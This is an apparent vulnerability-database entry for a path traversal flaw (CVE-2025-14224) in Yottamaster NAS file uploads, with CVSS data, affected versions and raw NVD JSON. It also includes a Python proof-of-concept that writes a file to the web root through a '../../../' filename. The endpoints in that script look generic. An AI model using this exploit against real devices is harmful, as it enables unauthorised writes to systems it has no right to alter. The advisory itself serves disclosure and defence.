Security Vulnerability Report
中文
CVE-2025-14224 CVSS 4.3 MEDIUM

CVE-2025-14224

Published: 2025-12-08 09:15:46
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in Yottamaster DM2, DM3 and DM200 up to 1.2.23/1.9.12. Affected by this issue is some unknown functionality of the component File Upload. Performing manipulation results in path traversal. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:yottamaster:dm2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:yottamaster:dm2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:yottamaster:dm3_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:yottamaster:dm3:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:yottamaster:dm200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:yottamaster:dm200:-:*:*:*:*:*:*:* - NOT VULNERABLE
Yottamaster DM2 < 1.2.24
Yottamaster DM3 < 1.2.24
Yottamaster DM200 < 1.9.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-14224 PoC - Path Traversal in Yottamaster NAS File Upload # Target: Yottamaster DM2/DM3/DM200 (versions up to 1.2.23/1.9.12) TARGET = "http://target-ip:8080" # Replace with target IP USERNAME = "user" # Low-privilege user PASSWORD = "password" def exploit_path_traversal(): """ Upload file via path traversal to write outside intended directory """ session = requests.Session() # Step 1: Authentication login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET}/api/login", data=login_data) # Step 2: Prepare malicious filename with path traversal # Target: Write to web root directory malicious_filename = "../../../www/html/payload.txt" # Step 3: Upload file with path traversal payload files = { "file": (malicious_filename, b"Malicious content", "text/plain") } response = session.post( f"{TARGET}/api/upload", files=files ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Step 4: Verify file was written to target location verify = session.get(f"{TARGET}/payload.txt") if verify.status_code == 200: print("[+] Exploit successful - File written via path traversal") else: print("[-] Exploit failed or file path incorrect") if __name__ == "__main__": exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14224", "sourceIdentifier": "[email protected]", "published": "2025-12-08T09:15:46.273", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Yottamaster DM2, DM3 and DM200 up to 1.2.23/1.9.12. Affected by this issue is some unknown functionality of the component File Upload. Performing manipulation results in path traversal. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:yottamaster:dm2_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.12", "matchCriteriaId": "26E4F17D-9089-4146-A0C0-DA48ADC7C71C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:yottamaster:dm2:-:*:*:*:*:*:*:*", "matchCriteriaId": "BF6172E9-B80A-489C-970F-E0254724132A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:yottamaster:dm3_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.12", "matchCriteriaId": "B9A6FCF0-2DCC-4751-96DA-9E026E6A1BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:yottamaster:dm3:-:*:*:*:*:*:*:*", "matchCriteriaId": "1F0D4AB6-5016-4A21-BF67-AA71A973B5D7"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:yottamaster:dm200_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.2.23", "matchCriteriaId": "078B8015-705B-49C6-822A-4DB1A140A748"}]}, {"oper ... (truncated)